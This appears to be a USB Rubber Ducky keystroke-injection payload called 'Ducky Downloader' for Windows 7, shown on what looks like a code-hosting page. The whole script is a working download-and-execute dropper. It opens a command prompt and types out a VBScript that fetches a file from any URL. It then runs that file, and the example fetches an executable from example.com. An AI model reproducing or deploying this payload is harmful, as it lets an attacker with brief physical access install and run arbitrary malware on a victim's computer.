51 lines
1.4 KiB
Plaintext
51 lines
1.4 KiB
Plaintext
Ducky Downloader
|
|
|
|
Author: Haysoos
|
|
Duckencoder: 1.2
|
|
Target: Windows 7
|
|
Description: Opens the command prompt (not as administrator) creates a VBscript to download a file from any URL. Downloads a file and executes it. Useful for downloading small .exe files from a web server and executing them.
|
|
ESCAPE
|
|
CONTROL ESCAPE
|
|
DELAY 400
|
|
STRING cmd
|
|
DELAY 400
|
|
ENTER
|
|
DELAY 400
|
|
STRING copy con download.vbs
|
|
ENTER
|
|
STRING Set args = WScript.Arguments:a = split(args(0), "/")(UBound(split(args(0),"/")))
|
|
ENTER
|
|
STRING Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"):objXMLHTTP.open "GET", args(0), false:objXMLHTTP.send()
|
|
ENTER
|
|
STRING If objXMLHTTP.Status = 200 Then
|
|
ENTER
|
|
STRING Set objADOStream = CreateObject("ADODB.Stream"):objADOStream.Open
|
|
ENTER
|
|
STRING objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0
|
|
ENTER
|
|
STRING Set objFSO = Createobject("Scripting.FileSystemObject"):If objFSO.Fileexists(a) Then objFSO.DeleteFile a
|
|
ENTER
|
|
STRING objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing
|
|
ENTER
|
|
STRING End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing
|
|
ENTER
|
|
CTRL z
|
|
ENTER
|
|
STRING cscript download.vbs <INSERT URL HERE>
|
|
ENTER
|
|
STRING <INSERT EXE FILENAME HERE>
|
|
ENTER
|
|
STRING exit
|
|
ENTER
|
|
|
|
Example:
|
|
|
|
...
|
|
ENTER
|
|
STRING cscript download.vbs http://example.com/fun_windows_executable.exe
|
|
ENTER
|
|
STRING fun_windows_executable.exe
|
|
ENTER
|
|
STRING exit
|
|
ENTER
|
|
|